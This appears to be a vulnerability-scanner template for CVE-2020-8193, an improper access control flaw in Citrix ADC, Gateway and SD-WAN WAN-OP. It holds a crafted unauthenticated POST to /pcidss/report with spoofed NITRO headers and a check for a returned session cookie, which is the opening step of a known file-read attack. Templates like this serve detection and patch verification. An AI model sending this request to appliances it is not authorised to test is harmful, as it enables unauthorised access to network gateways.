Improper access control in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allows unauthenticated access to certain URL endpoints.
PoC代码[已公开]
id: CVE-2020-8193
info:
name: Citrix unauthenticated LFI
author: bufsnake
severity: medium
description: |
Improper access control in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allows unauthenticated access to certain URL endpoints.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2020-8193
tags: cve,cve2020,citrix,lfi
created: 2023/08/17
set:
user: randomLowercase(8)
pass: randomLowercase(8)
rules:
r0:
request:
method: POST
path: /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1
headers:
Content-Type: application/xml
X-NITRO-PASS: "{{pass}}"
X-NITRO-USER: "{{user}}"
body: <appfwprofile><login></login></appfwprofile>
expression: response.status == 406 && "(?i)SESSID=\\w{32}".bmatches(bytes(response.headers["set-cookie"]))
expression: r0()